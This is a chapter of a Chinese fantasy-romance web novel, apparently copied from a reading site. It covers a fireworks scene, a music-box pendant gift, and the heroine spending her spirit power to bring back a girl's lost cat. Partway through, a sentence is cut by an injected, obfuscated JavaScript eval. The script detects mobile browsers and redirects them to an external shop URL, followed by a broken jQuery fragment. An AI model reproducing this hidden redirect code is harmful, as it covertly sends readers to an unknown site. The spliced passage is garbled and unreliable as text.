27. 想与之共度此刻的人
    四周的喧闹轻易盖过洮箐的声音。

    她的呼唤得不到蒋泽昀的回应。

    “快!亲爱的,这个位置一定拍出来很好看。”

    “宝宝,抓住妈妈哦,不要害怕。”

    牵着气球的情侣,言笑晏晏的一家三口,戴狐狸发卡的女生……

    每个面孔都洋溢着幸福的温度,期待着接下来的盛大烟火。

    可他们都不是洮箐想与之共度此刻的人。

    她好像一只落单的沙丁鱼,融不进幸福的鱼群中。

    洮箐手心凝起金色的火光,本想不管不顾地将天空燃亮。

    可或许她真的以为自己陷入梦中,又或许是不愿惊扰四周人们对即将到来的盛大烟火翘首以盼的期待。

    她手中的火光又悄然熄灭。

    洮箐放弃抵抗,顺着人群漂流。

    被人群挤到昏暗的角落,只能凭借着幽暗的灯光勉强分辨四周。

    正是四下仿徨之时——

    她忽然又在人群中一眼看到蒋泽昀。

    明明不过是几个呼吸间的空白,她与他便被人海分割了如此遥远的距离。

    四处回眸的蒋泽昀也几乎在瞬间锁定了她的位置。

    洮箐身边的人群鼎沸如浪潮,把她遮了个严严实实。

    她的四周更是恍如海波四涌,高山绵延。

    但再绵密的人群,也不能阻挡蒋泽昀的脚步。

    他仿若最虔诚的信徒,在人稠物穰的尘烟中向他的神靠近。

    一步一步,穿过世事尘埃,涉过人山人海,阔步而来。

    于是神那颗原本澹然而虚无的心,随着信徒的脚步泛起万顷烟波,直至波涛汹涌,将天地都倾覆。

    “轰隆!”

    就在这时,绚烂的烟火倏然在夜空中炸开。

    如火树银花般,让天空为之震颤。

    缤纷的火花在空中涌现,无数火光熄灭,又有无数火光迸发。

    在这此起彼伏的幸福庆典声中,洮箐手中多了一个带着链子的金属色圆形吊坠。

    是那个差点害她与蒋泽昀走散的物件。

    “这是什么?怀表项链?”洮箐问。

    “不,是个八音盒。”蒋泽昀说。

    洮箐打开比硬币大不了多少的圆盒子,却见盒子的中央中是一个她十分眼熟的小老虎头。

    那神气万分的圆滚滚脑袋,与她在幻境的石雕小摊上捡起的小老虎一模一样。

    只不过那时的小老虎脑袋四分五裂,而如今她手中的这个须发俱全,神态活灵活现。

    “试试看吧,转动中间的齿轮。”蒋泽昀说。

    洮箐轻轻扭动小老虎的脑袋,将八音盒放到耳畔,侧耳倾听——

    即便周遭充斥着烟花声,她也无比清晰地听到欢快的乐曲从小盒子中倾泻而出。

    咚咚,咚咚。

    乐曲仿佛带起周遭空气的颤动,那种震动顺着她的耳朵一路向下,汇集到她的心间。

    无数次被她忽视或者压制的心跳声在此刻和烟花一起汇成交响乐,乐声轰鸣,倾泻而出。

    “洮箐,希望以后不管在哪里,你的世界都充满旋律。”

    “希望你再也不用忍受漫长的寂静。”

    蒋泽昀在交响乐中扬声,话语有些停顿。

    而后,他小心翼翼地将八音盒戴到她的颈间。

    这小小的金属盒子仿佛是某种象征。

    可这象征既不是情感的宣泄,也不是自私的占有。

    他只是无比郑重地说——

    “希望你,一直都能像今天这样快乐。”

    漫天蔽野的绚烂花火伴随着蒋泽昀的话语在天边迸发,几乎将黑夜点亮为白昼。

    洮箐的心忽然平静下来。

    她在忽明忽暗的喧闹烟花下握紧小老虎吊坠。

    那些自我的憎恶,仿徨的胆怯。

    痛苦的,恐惧的。

    好像都在这个瞬间慢慢远去。

    一颗心清晰地感知到,另一颗心在无数个向它靠近的瞬间,那些默默的倾斜和眷爱。

    没有私心,也没有怨怼。

    于是那些沉甸甸的千钧重负,在此刻似乎变得比烟花消逝时的流光更轻,更微小。

    *

    在前往拂离宫之前,洮箐还有最后一件事要做。

    天刚蒙蒙亮,她便隐藏于小区花园的一隅,静静等待。

    这里是流浪猫的聚集地,也是郁珍珍经常光顾的地方。

    没过多久,抱着食盒的女孩就出现在灌木丛边。

    郁珍珍刚一出现,流浪猫们便前赴后继地将她围绕,各种喵喵的叫声此起彼伏,好不热闹。

    女孩轻车熟路地打开盖子,拿出准备好的猫粮将空空的饭盆填满,又换上干净的清水。

    又挨个检查大猫们绝育完的恢复情况,边喂边撸。

    做完这一切,才从背包中掏出两个罐头,神情期待地递到一只油光水滑的大橘面前——

    “橘猫大人,能不能再动用您的关系网,帮我找一找煤球?”

    “事成之后,必有三箱罐罐重谢。”

    可大橘只埋头干饭,顺带理了理自己背上翘起来的毛,丝毫不为所动。

    没有得到答复的郁珍珍也并不气馁,又转头给旁边的三花猫开金枪鱼罐头——

    “三花大美人,能再看一眼煤球的照片吗?”

    “它很好认的,绿眼睛,虎斑花色。”

    “四箱罐罐也没问题的,拜托了。”

    她举着一张有些旧了的照片,又从背包中拿出个西蓝花造型的玩具布偶,把它们凑到三花猫的面前。

    “如果你见到煤球,能不能帮我转告……”

    “我很想它。”

    “玩累了的话就回家吧,我会一直等它。”郁珍珍说。

    优雅而高冷的三花猫只沉默着舔了舔爪子,对凑上来的罐头不为所动。

    【回不来了。】

    【早就回不来了。】

    洮箐听见橘猫略带沧桑的声音。

    膘肥体壮的大猫抖了抖耳朵,似是不忍心再骗郁珍珍的罐头,一溜烟地跑走。

    【再等下去,也是无用功。】胖橘猫说。

    可怀揣着侥幸希望的主人哪里能够听懂橘猫的喵喵低语,她只是不停地向来吃猫粮的猫猫们展示着心爱的毛孩子的照片,还有带着它味道的玩偶。

    那时常被人拿出来展示和摩挲的照片,边缘早已翘起毛边。

    失去主人的毛茸玩偶似乎也蔫头耷脑,神情黯然。

    “煤球,这么冷的天,你找到可以取暖的屋子了吗?”

    “你有没有被欺负?有没有饿肚子?”

    吃饱饭的猫猫们渐渐离开,只剩郁珍珍还留在原地。

    喃喃自语的女孩眼中渐渐泛起泪光。

    那些光亮渐渐与殁猫那抹如翡翠般的绿眼睛重合,将洮箐的心一并刺痛。

    明明知道他们是如此地思念着彼此……

    她怎么能够,让他们一等再等呢?

    洮箐凝神闭目,双手结印,将殁猫的残魂置于手心。

    起风了。

    风里好像传来殁猫微小的低鸣,似乎在回应着郁珍珍的呼唤。

    洮箐轻抬手,将灵力与念力从眉心抽出。

    她的发丝被风扬起,随着灵力的剥离渐渐变成灰白。

    额间鬓角,都染上斑驳。

    可她并不在意,只将手中互相追逐的黑雾与金色灵气抛向空中。

    待到二者相互交融后,又从怀中拿出一团白色的绒毛,同样置于半空。

    原本仿若死灰般的的黑雾在吸收了灵气之后活跃了不少,此刻见了白色绒毛,更像是见到珍馐美馔。

    它迫不及待地大快朵颐,不过两三下便将其吞噬。

    殁猫的残魂,灵猫的皮毛,还有龙族的生机。

    三者合一,就能够换来一份新生。

    风更大了,黑雾渐渐升到天边,在白色的游云四周奋力挣扎,似乎要为

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13003623|135218||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    自己挣一份生的希望。

    黑色的气旋铺天盖地,将一切都包围。

    黑雾壮大到极致,飞沙走石间,几乎愤怒到要吞噬天地。

    可黑雾几息之后便又褪去,下一刻似乎又是晴日响雷,巨大的声响差点将人的心脏都刺激到停跳半拍。

    轰然的雷声过后中,花园中的灌木丛簌簌作响。

    一阵微弱的猫叫忽然传来,在此刻分外明显。

    惊魂未定的郁珍珍被这怪异的景象吓得呆滞在原地。

    她虽然恐惧,可还是颤抖着手拨开了被树叶掩盖的花丛。

    柔软的草叶上,躺着一只瑟瑟发抖的奶牛猫。

    小猫似乎是才刚出生不久,闭着眼睛,四只爪子不安地四处乱蹬,却又无处可依。

    细微又嘶哑的叫声仿佛用尽了它全部的力气,声声呜咽,让人于心不忍。

    没有过多的犹豫,郁珍珍伸手将它抱在怀中。

    就在郁珍珍将小猫抱起的瞬间,猫咪立刻停止了嚎叫,睁开了它的眼睛——

    那双眼眸如同被繁盛海草染成绿色的湖水,在夏日阳光的波光粼粼中折射出细碎的璨光。

    轻柔的,澄澈的,无比熟悉的。

    “煤球?”

    望着小猫的翠绿双眼,郁珍珍下意识地脱口而出那个呼唤了千百遍的名字。

    小猫歪了歪头,似乎有些呆滞。

    就在郁珍珍以为一切都是她的错觉时,小猫突然大声地回应着她,甚至比刚才还要急切。

    它在她身上拱来拱去。

    像曾经无数次那般,摸索着埋在她的颈窝。

    “真的是你吗?煤球。”

    郁珍珍的声音止不住地颤抖。

    她将除了额头与四爪雪白其余通体漆黑的小猫,翻过去覆过来地看了数遍。

    而小猫声声喵呜,似乎在坚定又大声地回复着她——

    【是我!珍珍,是我!】

    郁珍珍把小猫牢牢抱在怀中,声音哽咽,喜极而泣——

    “你回来了,你真的回来了。”

    “这一次,一定不会让你再走丢了。”

    一人一猫在熹微的晨光中相拥,有泪水顺着风飘到洮箐面前。

    她轻轻接住那细微的水汽,感受到其中难以言喻的幸福。

    是郁珍珍的,是煤球的……

    甚至……

    是她自己的。

    洮箐的嘴角勾起几分笑意,如此这般,也算是没有辜负。

    没有辜负这份日夜绵延的刻骨思念。

    她视线往下,看到自己黑发中掺着的灰白。

    脑海中又响起昨夜奔赴翁水山薅光木棍儿油光水滑的尾巴毛时,狐奶奶一声声焦急的劝告——

    “考验在即,龙君万不可为了一只怨气生成的邪灵,损伤自己。”

    “魂魄一旦受损便不可逆转,即便肉身归位,也会留下无穷祸患。”

    “生老病死,与爱别离,不过是尘世间最平常的事。您若要管,又怎能管得下这天下千千万万的人?”

    “龙君,千万三思!”

    洮箐把玩着斑驳的头发,淡然一笑。

    即便此刻真切地感受到魂躯的空乏无力,她也依旧不悔。

    人族寿数如此短暂,若是她此番前去拂离宫一去不回,以郁珍珍的性格,或许会在空等中度过半生。

    殁猫肯定不想见她这样。

    洮箐将长发在脑后轻轻一绾,束成一个低垂的髻,转身离开。

    “你的头发?……”

    长巷之外,蒋泽昀在拂晓的曙色中等待。

    眼见归来的洮箐发色驳杂,他不由得问道。

    “好看吗?”

    洮箐摸了摸发髻,语气轻快得仿佛刚从理发店走出门,而脑袋上的头发是理发师花了至少八个小时呕心沥血而来的杰作。

    那头发一簇白一簇灰,还夹杂着墨黑,实在有些磕碜。

    可蒋泽昀弯了弯嘴角,十分认真:“好看。”